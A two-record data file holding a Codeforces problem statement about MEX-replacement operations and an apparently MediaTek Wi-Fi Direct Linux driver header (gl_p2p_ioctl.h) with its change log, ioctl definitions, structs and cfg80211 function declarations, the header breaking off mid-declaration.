{"text": "You're given an array of $$$n$$$ integers between $$$0$$$ and $$$n$$$ inclusive.\n\nIn one operation, you can choose any element of the array and replace it by the MEX of the elements of the array (which may change after the operation).\n\nFor example, if the current array is $$$[0, 2, 2, 1, 4]$$$, you can choose the second element and replace it by the MEX of the present elements  — $$$3$$$. Array will become $$$[0, 3, 2, 1, 4]$$$.\n\nYou must make the array non-decreasing, using at most $$$2n$$$ operations.\n\nIt can be proven that it is always possible. Please note that you do not have to minimize the number of operations. If there are many solutions, you can print any of them.\n\n–\n\nAn array $$$b[1 \\ldots n]$$$ is non-decreasing if and only if $$$b_1 \\le b_2 \\le \\ldots \\le b_n$$$.\n\nThe MEX (minimum excluded) of an array is the smallest non-negative integer that does not belong to the array. For instance:\n\n- The MEX of $$$[2, 2, 1]$$$ is $$$0$$$, because $$$0$$$ does not belong to the array.\n- The MEX of $$$[3, 1, 0, 1]$$$ is $$$2$$$, because $$$0$$$ and $$$1$$$ belong to the array, but $$$2$$$ does not.\n- The MEX of $$$[0, 3, 1, 2]$$$ is $$$4$$$ because $$$0$$$, $$$1$$$, $$$2$$$ and $$$3$$$ belong to the array, but $$$4$$$ does not.\n\nIt's worth mentioning that the MEX of an array of length $$$n$$$ is always between $$$0$$$ and $$$n$$$ inclusive.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n** $Id: //Department/DaVinci/TRUNK/WiFi_P2P_Driver/os/linux/include/gl_p2p_ioctl.h#9 $\n*/\n\n/*! \\file   gl_p2p_ioctl.h\n    \\brief  This file is for custom ioctls for Wi-Fi Direct only\n*/\n\n\n\n/*\n** $Log: gl_p2p_ioctl.h $\n** \n** 07 26 2012 yuche.tsai\n** [ALPS00324337] [ALPS.JB][Hot-Spot] Driver update for Hot-Spot\n** Update driver code of ALPS.JB for hot-spot.\n** \n** 07 19 2012 yuche.tsai\n** NULL\n** Code update for JB.\n *\n * 07 17 2012 yuche.tsai\n * NULL\n * Compile no error before trial run.\n *\n * 06 07 2011 yuche.tsai\n * [WCXRP00000763] [Volunteer Patch][MT6620][Driver] RX Service Discovery Frame under AP mode Issue\n * Fix RX SD request under AP mode issue.\n *\n * 03 25 2011 wh.su\n * NULL\n * Fix P2P IOCTL of multicast address bug, add low power driver stop control.\n *\n * 11 22 2011 yuche.tsai\n * NULL\n * Update RSSI link quality of P2P Network query method. (Bug fix)\n *\n * 11 19 2011 yuche.tsai\n * NULL\n * Add RSSI support for P2P network.\n *\n * 11 11 2011 yuche.tsai\n * NULL\n * Fix work thread cancel issue.\n *\n * 11 08 2011 yuche.tsai\n * [WCXRP00001094] [Volunteer Patch][Driver] Driver version & supplicant version query & set support for service discovery version check.\n * Add support for driver version query & p2p supplicant verseion set.\n * For new service discovery mechanism sync.\n *\n * 10 25 2011 cm.chang\n * [WCXRP00001058] [All Wi-Fi][Driver] Fix sta_rec's phyTypeSet and OBSS scan in AP mode\n * .\n *\n * 10 18 2011 yuche.tsai\n * [WCXRP00001045] [WiFi Direct][Driver] Check 2.1 branch.\n * New 2.1 branch\n\n *\n * 08 16 2011 chinglan.wang\n * NULL\n * Add the group id information in the invitation indication.\n *\n * 08 09 2011 yuche.tsai\n * [WCXRP00000919] [Volunteer Patch][WiFi Direct][Driver] Invitation New Feature.\n * Invitation Feature add on.\n *\n * 05 04 2011 chinglan.wang\n * [WCXRP00000698] [MT6620 Wi-Fi][P2P][Driver] Add p2p invitation command for the p2p driver\n * .\n *\n * 03 29 2011 wh.su\n * [WCXRP00000095] [MT6620 Wi-Fi] [FW] Refine the P2P GO send broadcast protected code\n * add the set power and get power function sample.\n *\n * 03 22 2011 george.huang\n * [WCXRP00000504] [MT6620 Wi-Fi][FW] Support Sigma CAPI for power saving related command\n * link with supplicant commands\n *\n * 03 07 2011 wh.su\n * [WCXRP00000506] [MT6620 Wi-Fi][Driver][FW] Add Security check related code\n * rename the define to anti_pviracy.\n *\n * 03 02 2011 wh.su\n * [WCXRP00000506] [MT6620 Wi-Fi][Driver][FW] Add Security check related code\n * Add Security check related code.\n *\n * 03 01 2011 wh.su\n * [WCXRP00000488] [MT6620 Wi-Fi][Driver] Support the SIGMA set p2p parameter to driver\n * fixed the ioctl sumcmd to meet the p2p_supplicant setting.\n *\n * 02 23 2011 wh.su\n * [WCXRP00000488] [MT6620 Wi-Fi][Driver] Support the SIGMA set p2p parameter to driver\n * adding the ioctl set int define for p2p parameter.\n *\n * 02 22 2011 wh.su\n * [WCXRP00000488] [MT6620 Wi-Fi][Driver] Support the SIGMA set p2p parameter to driver\n * adding the ioctl set int from supplicant, and can used to set the p2p paramters\n *\n * 02 17 2011 wh.su\n * [WCXRP00000448] [MT6620 Wi-Fi][Driver] Fixed WSC IE not send out at probe request\n * adjust the set wsc ie structure.\n *\n * 01 05 2011 cp.wu\n * [WCXRP00000283] [MT6620 Wi-Fi][Driver][Wi-Fi Direct] Implementation of interface for supporting Wi-Fi Direct Service Discovery\n * ioctl implementations for P2P Service Discovery\n *\n * 12 22 2010 cp.wu\n * [WCXRP00000283] [MT6620 Wi-Fi][Driver][Wi-Fi Direct] Implementation of interface for supporting Wi-Fi Direct Service Discovery\n * 1. header file restructure for more clear module isolation\n * 2. add function interface definition for implementing Service Discovery callbacks\n *\n * 12 15 2010 cp.wu\n * NULL\n * invoke nicEnableInterrupt() before leaving from wlanAdapterStart()\n *\n * 12 07 2010 cp.wu\n * [WCXRP00000237] [MT6620 Wi-Fi][Wi-Fi Direct][Driver] Add interface for supporting service discovery\n * define a pair of i/o control for multiplexing layer\n *\n * 11 04 2010 wh.su\n * [WCXRP00000164] [MT6620 Wi-Fi][Driver] Support the p2p random SSID\n * adding the p2p random ssid support.\n *\n * 10 20 2010 wh.su\n * [WCXRP00000124] [MT6620 Wi-Fi] [Driver] Support the dissolve P2P Group\n * Add the code to support disconnect p2p group\n *\n * 09 21 2010 kevin.huang\n * [WCXRP00000054] [MT6620 Wi-Fi][Driver] Restructure driver for second Interface\n * Isolate P2P related function for Hardware Software Bundle\n *\n * 09 10 2010 george.huang\n * NULL\n * update iwpriv LP related\n *\n * 09 07 2010 wh.su\n * NULL\n * adding the code for beacon/probe req/ probe rsp wsc ie at p2p.\n *\n * 08 25 2010 cp.wu\n * NULL\n * add netdev_ops(NDO) for linux kernel 2.6.31 or greater\n *\n * 08 20 2010 yuche.tsai\n * NULL\n * Refine a function parameter name.\n *\n * 08 19 2010 cp.wu\n * NULL\n * add set mac address interface for further possibilities of wpa_supplicant overriding interface address.\n *\n * 08 16 2010 george.huang\n * NULL\n * add wext handlers to link P2P set PS profile/ network address function (TBD)\n *\n * 08 16 2010 cp.wu\n * NULL\n * revised implementation of Wi-Fi Direct io controls.\n *\n * 08 12 2010 cp.wu\n * NULL\n * follow-up with ioctl interface update for Wi-Fi Direct application\n *\n * 08 06 2010 cp.wu\n * NULL\n * driver hook modifications corresponding to ioctl interface change.\n *\n * 08 03 2010 cp.wu\n * NULL\n * [Wi-Fi Direct] add framework for driver hooks\n *\n * 07 08 2010 cp.wu\n *\n * [WPD00003833] [MT6620 and MT5931] Driver migration - move to new repository.\n *\n * 06 06 2010 kevin.huang\n * [WPD00003832][MT6620 5931] Create driver base\n * [MT6620 5931] Create driver base\n *\n * 06 01 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * add ioctl to configure scan mode for p2p connection\n *\n * 05 31 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * add cfg80211 interface, which is to replace WE, for further extension\n *\n * 05 17 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * implement get scan result.\n *\n * 05 14 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * implement wireless extension ioctls in iw_handler form.\n *\n * 05 14 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * add ioctl framework for Wi-Fi Direct by reusing wireless extension ioctls as well\n *\n * 05 11 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * p2p ioctls revised.\n *\n * 05 11 2010 cp.wu\n * [WPD00003831][MT6620 Wi-Fi] Add framework for Wi-Fi Direct support\n * add ioctl for controlling p2p scan phase parameters\n *\n*/\n\n#ifndef _GL_P2P_IOCTL_H\n#define _GL_P2P_IOCTL_H\n\n/*******************************************************************************\n*                         C O M P I L E R   F L A G S\n********************************************************************************\n*/\n\n/*******************************************************************************\n*                    E X T E R N A L   R E F E R E N C E S\n********************************************************************************\n*/\n#include <linux/kernel.h>\n#include <linux/netdevice.h>\n#include <linux/wireless.h>\n#if CFG_ENABLE_WIFI_DIRECT_CFG_80211\n    #include <linux/ieee80211.h>\n    #include <net/cfg80211.h>\n#endif\n\n#include \"wlan_oid.h\"\n\n/*******************************************************************************\n*                              C O N S T A N T S\n********************************************************************************\n*/\n\n// (WirelessExtension) Private I/O Controls\n#define IOC_P2P_CFG_DEVICE              (SIOCIWFIRSTPRIV+0)\n#define IOC_P2P_PROVISION_COMPLETE      (SIOCIWFIRSTPRIV+2)\n#define IOC_P2P_START_STOP_DISCOVERY    (SIOCIWFIRSTPRIV+4)\n#define IOC_P2P_DISCOVERY_RESULTS       (SIOCIWFIRSTPRIV+5)\n#define IOC_P2P_WSC_BEACON_PROBE_RSP_IE (SIOCIWFIRSTPRIV+6)\n#define IOC_P2P_GO_WSC_IE               IOC_P2P_WSC_BEACON_PROBE_RSP_IE\n#define IOC_P2P_CONNECT_DISCONNECT      (SIOCIWFIRSTPRIV+8)\n#define IOC_P2P_PASSWORD_READY          (SIOCIWFIRSTPRIV+10)\n//#define IOC_P2P_SET_PWR_MGMT_PARAM      (SIOCIWFIRSTPRIV+12)\n#define IOC_P2P_SET_INT                 (SIOCIWFIRSTPRIV+12)\n#define IOC_P2P_GET_STRUCT              (SIOCIWFIRSTPRIV+13)\n#define IOC_P2P_SET_STRUCT              (SIOCIWFIRSTPRIV+14)\n#define IOC_P2P_GET_REQ_DEVICE_INFO     (SIOCIWFIRSTPRIV+15)\n\n#define PRIV_CMD_INT_P2P_SET            0\n\n// IOC_P2P_PROVISION_COMPLETE (iw_point . flags)\n#define P2P_PROVISIONING_SUCCESS        0\n#define P2P_PROVISIONING_FAIL           1\n\n// IOC_P2P_START_STOP_DISCOVERY (iw_point . flags)\n#define P2P_STOP_DISCOVERY              0\n#define P2P_START_DISCOVERY             1\n\n// IOC_P2P_CONNECT_DISCONNECT (iw_point . flags)\n#define P2P_CONNECT                     0\n#define P2P_DISCONNECT                  1\n\n// IOC_P2P_START_STOP_DISCOVERY (scan_type)\n#define P2P_SCAN_FULL_AND_FIND          0\n#define P2P_SCAN_FULL                   1\n#define P2P_SCAN_SEARCH_AND_LISTEN      2\n#define P2P_LISTEN                      3\n\n// IOC_P2P_GET_STRUCT/IOC_P2P_SET_STRUCT\n#define P2P_SEND_SD_RESPONSE            0\n#define P2P_GET_SD_REQUEST              1\n#define P2P_SEND_SD_REQUEST             2\n#define P2P_GET_SD_RESPONSE             3\n#define P2P_TERMINATE_SD_PHASE          4\n\n/*******************************************************************************\n*                             D A T A   T Y P E S\n********************************************************************************\n*/\n/*----------------------------------------------------------------------------*/\n/* Wireless Extension: Private I/O Control                                    */\n/*----------------------------------------------------------------------------*/\ntypedef struct iw_p2p_cfg_device_type {\n    void __user     *ssid;\n    UINT_8          ssid_len;\n    UINT_8          pri_device_type[8];\n    UINT_8          snd_device_type[8];\n    void __user     *device_name;\n    UINT_8          device_name_len;\n    UINT_8          intend;\n    UINT_8          persistence;\n    UINT_8          sec_mode;\n    UINT_8          ch;\n    UINT_8          ch_width; /* 0: 20 Mhz  1:20/40 Mhz auto */\n    UINT_8          max_scb;\n} IW_P2P_CFG_DEVICE_TYPE, *P_IW_P2P_CFG_DEVICE_TYPE;\n\ntypedef struct iw_p2p_hostapd_param {\n    UINT_8  cmd;\n    UINT_8  rsv[3];\n    UINT_8  sta_addr[6];\n    void __user   *data;\n    UINT_16 \t  len;\n} IW_P2P_HOSTAPD_PARAM, *P_IW_P2P_HOSTAPD_PARAM;\n\ntypedef struct iw_p2p_req_device_type {\n    UINT_8      scan_type;  /* 0: Full scan + Find\n                             * 1: Full scan\n                             * 2: Scan (Search +Listen)\n                             * 3: Listen\n                             * other : reserved\n                             */\n    UINT_8      pri_device_type[8];\n    void __user *probe_req_ie;\n    UINT_16     probe_req_len;\n    void __user *probe_rsp_ie;\n    UINT_16     probe_rsp_len;\n} IW_P2P_REQ_DEVICE_TYPE, *P_IW_P2P_REQ_DEVICE_TYPE;\n\ntypedef struct iw_p2p_connect_device {\n    UINT_8  sta_addr[6];\n    UINT_8  p2pRole;        /* 0: P2P Device, 1:GC, 2: GO */\n    UINT_8  needProvision;  /* 0: Don't needed provision, 1: doing the wsc provision first */\n    UINT_8  authPeer;       /* 1: auth peer invitation request */\n    UINT_8  intend_config_method; /* Request Peer Device used config method */\n} IW_P2P_CONNECT_DEVICE, *P_IW_P2P_CONNECT_DEVICE;\n\ntypedef struct iw_p2p_password_ready {\n    UINT_8      active_config_method;\n    void __user *probe_req_ie;\n    UINT_16     probe_req_len;\n    void __user *probe_rsp_ie;\n    UINT_16     probe_rsp_len;\n} IW_P2P_PASSWORD_READY, *P_IW_P2P_PASSWORD_READY;\n\ntypedef struct iw_p2p_device_req {\n    UINT_8      name[33];\n    UINT_32     name_len;\n    UINT_8      device_addr[6];\n    UINT_8      device_type;\n    INT_32      config_method;\n    INT_32      active_config_method;\n} IW_P2P_DEVICE_REQ, *P_IW_P2P_DEVICE_REQ;\n\ntypedef struct iw_p2p_transport_struct {\n    UINT_32 u4CmdId;\n    UINT_32 inBufferLength;\n    UINT_32 outBufferLength;\n    UINT_8  aucBuffer[16];\n} IW_P2P_TRANSPORT_STRUCT, *P_IW_P2P_TRANSPORT_STRUCT;\n\n// For Invitation\ntypedef struct iw_p2p_ioctl_invitation_struct {\n    UINT_8 aucDeviceID[6];\n    UINT_8 aucGroupID[6];  // BSSID\n    UINT_8 aucSsid[32];\n    UINT_32 u4SsidLen;\n    UINT_8 ucReinvoke;\n} IW_P2P_IOCTL_INVITATION_STRUCT, *P_IW_P2P_IOCTL_INVITATION_STRUCT;\n\ntypedef struct iw_p2p_ioctl_abort_invitation {\n    UINT_8  dev_addr[6];\n} IW_P2P_IOCTL_ABORT_INVITATION, *P_IW_P2P_IOCTL_ABORT_INVITATION;\n\ntypedef struct iw_p2p_ioctl_invitation_indicate {\n    UINT_8  dev_addr[6];\n\tUINT_8  group_bssid[6];\n    INT_32  config_method;     /* peer device supported config method */\n    UINT_8  dev_name[32];      /* for reinvoke */\n    UINT_32 name_len;\n    UINT_8  operating_channel; /* for re-invoke, target operating channel */\n    UINT_8  invitation_type;   /* invitation or re-invoke */\n} IW_P2P_IOCTL_INVITATION_INDICATE, *P_IW_P2P_IOCTL_INVITATION_INDICATE;\n\ntypedef struct iw_p2p_ioctl_invitation_status {\n    UINT_32 status_code;\n} IW_P2P_IOCTL_INVITATION_STATUS, *P_IW_P2P_IOCTL_INVITATION_STATUS;\n\n//For Formation\ntypedef struct iw_p2p_ioctl_start_formation {\n   UINT_8  dev_addr[6];         /* bssid */\n   UINT_8  role;                /* 0: P2P Device, 1:GC, 2: GO */\n   UINT_8  needProvision;       /* 0: Don't needed provision, 1: doing the wsc provision first */\n   UINT_8  auth;                /* 1: auth peer invitation request */\n   UINT_8  config_method;       /* Request Peer Device used config method */\n}IW_P2P_IOCTL_START_FORMATION, *P_IW_P2P_IOCTL_START_FORMATION;\n\n/* SET_STRUCT / GET_STRUCT */\ntypedef enum _ENUM_P2P_CMD_ID_T {\n    P2P_CMD_ID_SEND_SD_RESPONSE = 0,               /* 0x00 (Set) */\n    P2P_CMD_ID_GET_SD_REQUEST,                     /* 0x01 (Get) */\n    P2P_CMD_ID_SEND_SD_REQUEST,                    /* 0x02 (Set) */\n    P2P_CMD_ID_GET_SD_RESPONSE,                    /* 0x03 (Get) */\n    P2P_CMD_ID_TERMINATE_SD_PHASE,                 /* 0x04 (Set) */\n#if 1 /* CFG_SUPPORT_ANTI_PIRACY */\n    P2P_CMD_ID_SEC_CHECK,                          /* 0x05(Set) */\n#endif\n    P2P_CMD_ID_INVITATION,                         /* 0x06 (Set) */\n    P2P_CMD_ID_INVITATION_INDICATE,                /* 0x07 (Get) */\n    P2P_CMD_ID_INVITATION_STATUS,                  /* 0x08 (Get) */\n    P2P_CMD_ID_INVITATION_ABORT,                   /* 0x09 (Set) */\n    P2P_CMD_ID_START_FORMATION,                    /* 0x0A (Set) */\n    P2P_CMD_ID_P2P_VERSION,                            /* 0x0B (Set/Get) */\n    P2P_CMD_ID_GET_CH_LIST = 12,                   /* 0x0C (Get) */\n    P2P_CMD_ID_GET_OP_CH = 14                      /* 0x0E (Get) */\n} ENUM_P2P_CMD_ID_T, *P_ENUM_P2P_CMD_ID_T;\n\n/* Service Discovery */\ntypedef struct iw_p2p_cmd_send_sd_response {\n    PARAM_MAC_ADDRESS   rReceiverAddr;\n    UINT_8              fgNeedTxDoneIndication;\n    UINT_8              ucSeqNum;\n    UINT_16\t            u2PacketLength;\n    UINT_8              aucPacketContent[0]; /*native 802.11*/\n} IW_P2P_CMD_SEND_SD_RESPONSE, *P_IW_P2P_CMD_SEND_SD_RESPONSE;\n\ntypedef struct iw_p2p_cmd_get_sd_request {\n    PARAM_MAC_ADDRESS   rTransmitterAddr;\n    UINT_16\t            u2PacketLength;\n    UINT_8              aucPacketContent[0]; /*native 802.11*/\n} IW_P2P_CMD_GET_SD_REQUEST, *P_IW_P2P_CMD_GET_SD_REQUEST;\n\ntypedef struct iw_p2p_cmd_send_service_discovery_request {\n    PARAM_MAC_ADDRESS   rReceiverAddr;\n    UINT_8              fgNeedTxDoneIndication;\n    UINT_8              ucSeqNum;\n    UINT_16             u2PacketLength;\n    UINT_8              aucPacketContent[0]; /*native 802.11*/\n} IW_P2P_CMD_SEND_SD_REQUEST, *P_IW_P2P_CMD_SEND_SD_REQUEST;\n\ntypedef struct iw_p2p_cmd_get_sd_response {\n    PARAM_MAC_ADDRESS   rTransmitterAddr;\n    UINT_16             u2PacketLength;\n    UINT_8              aucPacketContent[0]; /*native 802.11*/\n} IW_P2P_CMD_GET_SD_RESPONSE, *P_IW_P2P_CMD_GET_SD_RESPONSE;\n\ntypedef struct iw_p2p_cmd_terminate_sd_phase {\n    PARAM_MAC_ADDRESS   rPeerAddr;\n} IW_P2P_CMD_TERMINATE_SD_PHASE, *P_IW_P2P_CMD_TERMINATE_SD_PHASE;\n\ntypedef struct iw_p2p_version {\n    UINT_32 u4Version;\n} IW_P2P_VERSION, *P_IW_P2P_VERSION;\n\n/*******************************************************************************\n*                            P U B L I C   D A T A\n********************************************************************************\n*/\n\n/*******************************************************************************\n*                           P R I V A T E   D A T A\n********************************************************************************\n*/\n\n/*******************************************************************************\n*                                 M A C R O S\n********************************************************************************\n*/\n/* Macros used for cfg80211 */\n#define RATETAB_ENT(_rate, _rateid, _flags) \\\n    {                                       \\\n        .bitrate    = (_rate),              \\\n        .hw_value   = (_rateid),            \\\n        .flags      = (_flags),             \\\n    }\n\n#define CHAN2G(_channel, _freq, _flags)             \\\n    {                                               \\\n        .band               = IEEE80211_BAND_2GHZ,  \\\n        .center_freq        = (_freq),              \\\n        .hw_value           = (_channel),           \\\n        .flags              = (_flags),             \\\n        .max_antenna_gain   = 0,                    \\\n        .max_power          = 30,                   \\\n    }\n\n#define CHAN5G(_channel, _flags)                        \\\n    {                                                   \\\n        .band               = IEEE80211_BAND_5GHZ,      \\\n        .center_freq        = 5000 + (5 * (_channel)),  \\\n        .hw_value           = (_channel),               \\\n        .flags              = (_flags),                 \\\n        .max_antenna_gain   = 0,                        \\\n        .max_power          = 30,                       \\\n    }\n\n/*******************************************************************************\n*                  F U N C T I O N   D E C L A R A T I O N S\n********************************************************************************\n*/\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 32) && (CFG_ENABLE_WIFI_DIRECT_CFG_80211 != 0)\nint mtk_p2p_cfg80211_change_iface(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    enum nl80211_iftype type, u32 *flags,\n    struct vif_params *params\n    );\n\nint mtk_p2p_cfg80211_add_key(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    u8 key_index,\n    bool pairwise,\n    const u8 *mac_addr,\n    struct key_params *params\n    );\n\nint mtk_p2p_cfg80211_get_key(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    u8 key_index,\n    bool pairwise,\n    const u8 *mac_addr,\n    void *cookie,\n    void (*callback)(void *cookie, struct key_params*)\n    );\n\nint mtk_p2p_cfg80211_del_key(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    u8 key_index,\n    bool pairwise,\n    const u8 *mac_addr\n    );\n\nint\nmtk_p2p_cfg80211_set_default_key(\n    struct wiphy *wiphy,\n    struct net_device *netdev,\n    u8 key_index,\n    bool unicast,\n    bool multicast\n    );\n\n\nint mtk_p2p_cfg80211_get_station(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    u8 *mac,\n    struct station_info *sinfo\n    );\n\n\nint mtk_p2p_cfg80211_set_wiphy_params(\n    struct wiphy *wiphy,\n    u32 changed\n    );\n\nint mtk_p2p_cfg80211_connect(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    struct cfg80211_connect_params *sme\n    );\n\nint mtk_p2p_cfg80211_disconnect(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    u16 reason_code\n    );\n\nint mtk_p2p_cfg80211_join_ibss(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    struct cfg80211_ibss_params *params\n    );\n\nint mtk_p2p_cfg80211_leave_ibss(\n    struct wiphy *wiphy,\n    struct net_device *dev\n    );\n\n\nint mtk_p2p_cfg80211_set_power_mgmt(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    bool enabled,\n    int timeout\n    );\n\nint\nmtk_p2p_cfg80211_change_bss(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    struct bss_parameters * params\n    );\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 8, 0)    \n\nint mtk_p2p_cfg80211_remain_on_channel(\n\tstruct wiphy *wiphy,\n    struct wireless_dev *wdev,\n    struct ieee80211_channel *chan,\n    unsigned int duration,\n    u64 *cookie\n    );\n\nint mtk_p2p_cfg80211_scan(\n\tstruct wiphy *wiphy,\n    struct cfg80211_scan_request *request\n    );\n\nint mtk_p2p_cfg80211_cancel_remain_on_channel(\n\tstruct wiphy *wiphy,\n    struct wireless_dev *wdev,\n    u64 cookie\n    );\n\nint mtk_p2p_cfg80211_set_txpower(\n\tstruct wiphy *wiphy,\n\tstruct wireless_dev *wdev,\n    enum nl80211_tx_power_setting type,\n    int mbm\n    );\n\n\nint mtk_p2p_cfg80211_get_txpower(\n\tstruct wiphy *wiphy,\n\tstruct wireless_dev *wdev,\n    int *dbm\n    );\n\n                         \n#else\nint\nmtk_p2p_cfg80211_remain_on_channel(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    struct ieee80211_channel * chan,\n    enum nl80211_channel_type channel_type,\n    unsigned int duration,\n    u64 * cookie\n    );\n\nint mtk_p2p_cfg80211_scan(\n    struct wiphy *wiphy,\n    struct net_device *ndev,\n    struct cfg80211_scan_request *request\n    );\n\nint\nmtk_p2p_cfg80211_cancel_remain_on_channel(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    u64 cookie\n    );\nint mtk_p2p_cfg80211_set_txpower(\n    struct wiphy *wiphy,\n    enum nl80211_tx_power_setting type,\n    int mbm\n    );\n\nint mtk_p2p_cfg80211_get_txpower(\n    struct wiphy *wiphy,\n    int *dbm\n    );\n\n#endif\n\n\n\n\n\nint\nmtk_p2p_cfg80211_deauth(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    struct cfg80211_deauth_request * req\n#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 2, 0)\n    , void *cookie\n#endif\n    );\n\n\nint\nmtk_p2p_cfg80211_disassoc(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    struct cfg80211_disassoc_request * req\n#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 2, 0)\n    , void *cookie\n#endif\n    );\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0)\n\nint\nmtk_p2p_cfg80211_start_ap(\n    struct wiphy *wiphy, \n    struct net_device *dev,\n    struct cfg80211_ap_settings *settings\n    );\n\n\nint\nmtk_p2p_cfg80211_change_beacon(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    struct cfg80211_beacon_data *info\n    );\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 8, 0)\n\nint mtk_p2p_cfg80211_mgmt_tx(\n\tstruct wiphy *wiphy,\n\tstruct wireless_dev *wdev,\n    struct ieee80211_channel *chan,\n    bool offchan,\n    unsigned int wait,\n    const u8 *buf,\n    size_t len,\n    bool no_cck,\n    bool dont_wait_for_ack,\n    u64 *cookie);\n#else\n\nint mtk_p2p_cfg80211_mgmt_tx(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    struct ieee80211_channel *chan,\n    bool offchan,\n    enum nl80211_channel_type channel_type,\n    bool channel_type_valid,\n    unsigned int wait,\n    const u8 *buf, \n    size_t len, \n    bool no_cck,\n    bool dont_wait_for_ack,\n    u64 *cookie);\n#endif\n\n#else\nint\nmtk_p2p_cfg80211_add_set_beacon(\n    struct wiphy *wiphy,\n    struct net_device *dev,\n    struct beacon_parameters *info\n    );\n\nint\nmtk_p2p_cfg80211_mgmt_tx(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    struct ieee80211_channel * chan,\n    bool offchan,\n    enum nl80211_channel_type channel_type,\n    bool channel_type_valid,\n    unsigned int wait,\n    const u8 * buf,\n    size_t len,\n    u64 *cookie\n    );\n\n#endif\n\n\nint\nmtk_p2p_cfg80211_stop_ap(\n    struct wiphy * wiphy,\n    struct net_device * dev\n    );\n\n\n\nint\nmtk_p2p_cfg80211_del_station(\n    struct wiphy * wiphy,\n    struct net_device * dev,\n    u8 * mac\n    );\n\n#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 8, 0)\nint mtk_p2p_cfg80211_set_channel(\n\tstruct wiphy *wiphy,\n    struct cfg80211_chan_def *chandef\n   );\n\nvoid mtk_p2p_cfg80211_mgmt_frame_register(\n\tstruct wiphy *wiphy,\n\tstruct wireless_dev *wdev,\n\tu16 frame_type,\n\tbool reg\n\t);\n\n#else\nint\nmtk_p2p_cfg80211_set_channel(\n    IN struct wiphy * wiphy,\n    IN struct net_device * dev,\n    IN struct ieee80211_channel * chan,\n    IN enum nl80211_channel_type channel_type\n    );\n\nvoid\nmtk_p2p_cfg80211_mgmt_frame_register(\n    IN struct wiphy *wiphy,\n    IN struct net_device *dev,\n    IN u16 frame_type,\n    IN bool reg\n    );\n\n#endif\nint\nmtk_p2p_cfg80211_set_bitrate_mask(\n    IN struct wiphy *wiphy,\n    IN struct net_device *dev,\n    IN const u8 *peer,\n    IN const struct cfg80211_bitrate_mask *mask\n    );\n\n\n\n\n#if CONFIG_NL80211_TESTMODE\nint\nmtk_p2p_cfg80211_testmode_cmd(\n    IN struct wiphy *wiphy,\n    IN void *data,\n    IN int len\n    );\nint\nmtk_p2p_cfg80211_testmode_p2p_sigma_pre_cmd(\n    IN struct wiphy *wiphy,\n    IN void *data,\n    IN int len\n    );\nint\nmtk_p2p_cfg80211_testmode_p2p_sigma_cmd(\n    IN struct wiphy *wiphy,\n    IN void *data,\n    IN int len\n    );\n\n#if CFG_SUPPORT_WFD\nint\nmtk_p2p_cfg80211_testmode_wfd_update_cmd(\n    IN struct wiphy *wiphy,\n    IN void *data,\n    IN int len\n    );\n#endif\n\nint\nmtk_p2p_cfg80211_testmode_hotspot_block_list_cmd(\n    IN struct wiphy *wiphy,\n    IN void *data,\n    IN int len\n    );\n#else\n    #error \"Please ENABLE kernel config (CONFIG_NL80211_TESTMODE) to support Wi-Fi Direct\"\n#endif\n\n#endif\n\n/* I/O control handlers */\n\nint\nmtk_p2p_wext_get_priv (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_reconnect (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_auth (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_key (\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_mlme_handler(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_set_powermode(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\nint\nmtk_p2p_wext_get_powermode(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT char *extra\n    );\n\n/* Private Wireless I/O Controls takes use of iw_handler */\nint\nmtk_p2p_wext_set_local_dev_info(\n    IN struct net_device *prDev,\n    IN struct iw_request_info *info,\n    IN OUT union iwreq_data *wrqu,\n    IN OUT 